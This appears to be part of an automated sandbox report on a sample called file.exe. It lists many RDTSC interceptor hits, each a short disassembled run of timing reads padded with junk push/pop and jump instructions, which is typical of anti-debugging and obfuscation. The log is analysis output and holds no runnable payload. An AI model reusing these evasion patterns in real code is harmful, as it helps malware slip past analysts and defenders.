Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2291 second address: 5E2296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E23E1 second address: 5E23E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E23E5 second address: 5E2403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F8B0CDF43C6h 0x00000018 jg 00007F8B0CDF43C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2403 second address: 5E2417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F8B0CFA0376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F8B0CFA0378h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2417 second address: 5E2420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2420 second address: 5E2428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAC6B second address: 5EAC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAC6F second address: 5EAC73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA949 second address: 5EA94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED960 second address: 5ED97C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8B0CFA0382h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0B27 second address: 5F0B32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5537FF second address: 55380F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CFA037Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55380F second address: 55386B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F8B0CDF43CAh 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007F8B0CDF43CBh 0x0000001b jl 00007F8B0CDF43C6h 0x00000021 jmp 00007F8B0CDF43CCh 0x00000026 jmp 00007F8B0CDF43D3h 0x0000002b popad 0x0000002c pushad 0x0000002d jmp 00007F8B0CDF43D2h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4336 second address: 5F433A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F433A second address: 5F4344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9DC0 second address: 5F9DDD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F8B0CFA0387h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9F58 second address: 5F9F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43D3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9F70 second address: 5F9F9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F8B0CFA03A2h 0x0000000f jne 00007F8B0CFA0378h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jne 00007F8B0CFA0376h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA128 second address: 5FA12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB1B1 second address: 5FB1BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB1BB second address: 5FB1C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB1C9 second address: 5FB1D3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8B0CFA0376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB1D3 second address: 5FB1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F8B0CDF43D2h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB1EF second address: 5FB1F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB1F3 second address: 5FB202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007F8B0CDF43C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE726 second address: 5FE739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F8B0CFA0376h 0x0000000d jns 00007F8B0CFA0376h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE739 second address: 5FE73D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE86F second address: 5FE879 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8B0CFA037Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE879 second address: 5FE888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F8B0CDF43C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEA4F second address: 5FEA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8B0CFA037Ch 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEE86 second address: 5FEE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605BE6 second address: 605BFA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8B0CFA0376h 0x00000008 jne 00007F8B0CFA0376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605BFA second address: 605BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606955 second address: 60695F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8B0CFA0376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60695F second address: 60698A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43CAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c push edi 0x0000000d jmp 00007F8B0CDF43D6h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60698A second address: 606990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607579 second address: 60757E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60757E second address: 60759A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8B0CFA0381h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AFA7 second address: 60AFD3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8B0CDF43C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8B0CDF43CDh 0x00000011 jmp 00007F8B0CDF43D3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B2A1 second address: 60B2BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B2BC second address: 60B2C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B433 second address: 60B437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B437 second address: 60B460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43D9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jnc 00007F8B0CDF43C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B460 second address: 60B47E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B47E second address: 60B484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B5E5 second address: 60B611 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8B0CFA037Eh 0x00000008 push esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 jmp 00007F8B0CFA0382h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610927 second address: 61092B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61092B second address: 61093F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F8B0CFA0376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61093F second address: 61094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F8B0CDF43C6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A41F second address: 55A425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A425 second address: 55A431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617CF9 second address: 617D1D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8B0CFA0386h 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F8B0CFA0376h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617E61 second address: 617E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617E65 second address: 617E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617E6B second address: 617E8A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8B0CDF43D2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F8B0CDF43C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61814C second address: 618150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618463 second address: 61847D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61847D second address: 618481 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618481 second address: 618493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43CCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618493 second address: 61849A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618EA0 second address: 618EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618EA5 second address: 618ED0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8B0CFA0382h 0x00000008 jmp 00007F8B0CFA0381h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6195E8 second address: 6195EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6195EE second address: 6195F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620456 second address: 62049E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8B0CDF43D3h 0x0000000e jp 00007F8B0CDF43CEh 0x00000014 jmp 00007F8B0CDF43CBh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007F8B0CDF43C8h 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FF59 second address: 61FF75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CFA0386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FF75 second address: 61FF79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FF79 second address: 61FFA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA037Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 jmp 00007F8B0CFA0385h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FFA6 second address: 61FFB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F8B0CDF43C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62011F second address: 620123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620123 second address: 620131 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620131 second address: 620135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620135 second address: 62015D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43D7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F8B0CDF43C8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D421 second address: 62D42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8B0CFA0376h 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D42E second address: 62D453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F8B0CDF43D5h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CE84 second address: 62CE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8B0CFA0376h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632604 second address: 632609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632609 second address: 632620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CFA0383h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632317 second address: 63231E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63231E second address: 632325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EADE second address: 63EB09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43D3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8B0CDF43CAh 0x00000010 pop edi 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6417D7 second address: 6417DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6417DB second address: 6417E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645312 second address: 645316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645316 second address: 64532A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F8B0CDF43D2h 0x0000000c jns 00007F8B0CDF43C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649E44 second address: 649E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8B0CFA037Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649E54 second address: 649E60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jne 00007F8B0CDF43C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649E60 second address: 649E72 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jne 00007F8B0CFA0376h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A104 second address: 64A10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A10A second address: 64A113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A113 second address: 64A121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A121 second address: 64A135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CFA0380h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A135 second address: 64A156 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D5h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A407 second address: 64A433 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8B0CFA0383h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jbe 00007F8B0CFA0376h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A433 second address: 64A439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A439 second address: 64A43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
